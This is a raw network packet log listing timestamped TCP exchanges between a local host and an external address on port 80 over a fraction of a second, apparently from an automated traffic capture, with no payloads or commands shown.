Jan 10, 2025 17:32:14.342572927 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342609882 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342647076 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342684031 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342698097 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.342698097 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.342721939 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342756987 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342793941 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342828035 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342845917 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.342845917 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.342864037 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342899084 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342943907 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.346174955 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.346204996 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.346247911 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.346263885 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.346298933 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.346313000 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.346338987 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.346374989 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.346399069 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.346692085 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.375926971 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.375965118 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.376029968 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.376065016 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.376069069 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.376101971 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.376149893 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.376185894 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.407577991 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407614946 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407669067 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407704115 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407740116 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407747984 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.407747984 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.407776117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407814980 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407866955 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407869101 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.407902956 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407933950 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.407938004 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.407975912 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.408094883 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.427472115 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427484035 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427495956 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427505970 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427519083 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427531958 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427545071 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427552938 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427582026 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.427582026 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.427629948 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.427689075 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427699089 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427714109 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427722931 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.427732944 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.427791119 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.439275980 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439286947 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439328909 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.439424038 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439449072 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439471006 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.439507961 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439526081 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439568043 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439574003 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.439588070 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439600945 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439640999 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.439640999 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.439723969 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439743042 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439855099 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439872980 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.439894915 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.439949989 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460270882 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460314035 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460366964 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460374117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460431099 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460467100 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460474014 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460499048 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460534096 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460544109 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460571051 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460607052 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460613012 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460643053 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460689068 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460696936 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460732937 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460771084 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460793972 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460808039 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460843086 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460853100 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460886955 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460926056 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.460932016 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.460963011 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461011887 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.461051941 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461108923 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461152077 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.461160898 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461195946 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461231947 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461246014 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.461266994 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461306095 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.461585999 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461621046 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461657047 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461668968 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.461689949 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461726904 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461733103 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.461760998 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461797953 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461808920 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.461832047 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461869955 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.461873055 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.462152958 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462186098 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462197065 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.462223053 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462265968 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462279081 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.462304115 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462337017 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462348938 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.462373972 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462408066 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462419033 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.462445974 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462480068 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462491989 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.462516069 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462548971 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462568045 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.462588072 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462622881 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462632895 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.462662935 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.462707996 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.463113070 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463148117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463184118 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463190079 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.463217974 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463253975 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463265896 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.463288069 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463340998 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.463366032 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463401079 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463437080 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463445902 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.463473082 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463509083 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463517904 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.463543892 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463577986 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463587999 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.463613033 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463653088 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.463654041 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464088917 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464123964 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464137077 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464162111 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464196920 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464205027 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464231968 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464266062 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464276075 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464303970 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464339018 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464358091 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464374065 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464410067 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464422941 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464447021 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464481115 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464498043 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464517117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464553118 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464564085 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464592934 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.464637041 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.464966059 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.465003014 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.465042114 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.465056896 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.465078115 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.465114117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.465128899 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.468277931 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.496135950 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.496159077 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.496176004 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.496191978 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.496196032 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.496221066 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.496228933 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.496239901 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.496256113 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.496273041 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.496277094 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.496303082 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.516457081 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516480923 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516498089 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516520977 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516525984 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.516540051 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516560078 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.516561031 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516581059 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516588926 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.516602993 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516619921 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516623974 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.516637087 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516655922 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.516659021 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516678095 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516697884 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.516697884 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516716003 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516733885 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.516735077 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.516771078 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.528388977 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528453112 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528472900 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528490067 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528501987 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.528508902 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528527975 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.528529882 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528553963 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528563023 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.528572083 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528599024 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528624058 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528625011 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.528644085 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528657913 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528681993 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.528703928 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528712034 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.528723001 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528742075 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528753996 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.528755903 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.528793097 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.548404932 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.548906088 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.548923969 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.548949003 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.548965931 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.548979044 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.548984051 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549000025 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549005032 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549045086 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549088001 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549105883 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549146891 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549285889 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549314976 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549349070 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549447060 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549465895 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549487114 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549503088 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549503088 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549525976 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549539089 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549544096 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549562931 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549578905 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549582958 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549613953 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549634933 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549700022 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549715996 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549736977 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549741030 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549758911 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549772978 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549777985 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549809933 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.549962997 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.549987078 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550003052 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550019026 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550020933 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550036907 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550052881 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550065041 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550070047 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550086021 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550097942 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550105095 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550121069 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550131083 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550137043 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550177097 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550271988 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550311089 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550425053 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550441980 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550460100 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550482988 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550487041 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550504923 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550520897 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550528049 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550539017 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550554037 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550559044 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550587893 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550594091 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550606012 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550625086 CET	80	49778	193.143.1.205	192.168.2.11
